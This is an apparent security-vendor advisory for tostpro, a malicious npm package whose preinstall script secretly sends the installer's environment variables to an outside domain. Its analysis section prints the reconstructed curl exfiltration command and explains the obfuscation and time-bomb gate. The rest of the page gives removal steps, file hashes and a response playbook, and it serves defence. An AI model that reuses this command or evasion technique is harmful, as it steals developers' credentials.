Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

tostpronpm

Advisory published Updated

tostpro is a confirmed malicious npm package (MAL-2026-17564) that steals credentials and exfiltrates sensitive data (malicious versions 100.2.0, 100.6.0, 100.7.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in tostpro (npm)

MAL-2026-17564
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall tostpro

What this malware does

The npm package [email protected] ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on npm install. The script assembles the command curl and the data source env from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into dom=https://abbishal. plus tld=com, reconstructing them at runtime as $i$h$l -d "$b$s$a" $dom$tld/sh/poc. Execution is gated by if [ date +%s -gt 1791141300 ] (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of env — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged
100.2.0100.6.0100.7.0

Indicators of compromise (SHA-256)

1c6e05f2f9962c27ba782116a27f8da86a29c6fc7d06c38a6bf79658f25aaaf5
2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183
2ffc34e5a72ec818792020f55f95d3c2a344ac7554faef1ce0fd36b119fbfb2d
95a0ca1794b466d8ca8d84b64429987b6683b2b316794f522dc160bf35bce216

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for tostpro (3 malicious versions).

  2. If you installed it — respond

    tostpro is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If tostpro was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. tostpro on npm has been identified as a malicious package (versions 100.2.0, 100.6.0, 100.7.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021010IN-MAL-2026-021006IN-MAL-2026-021457GHSA-x5qq-j2hm-34m3

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks tostpro-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

tostpro (npm) malicious package — MAL-2026-17564 | O3 Security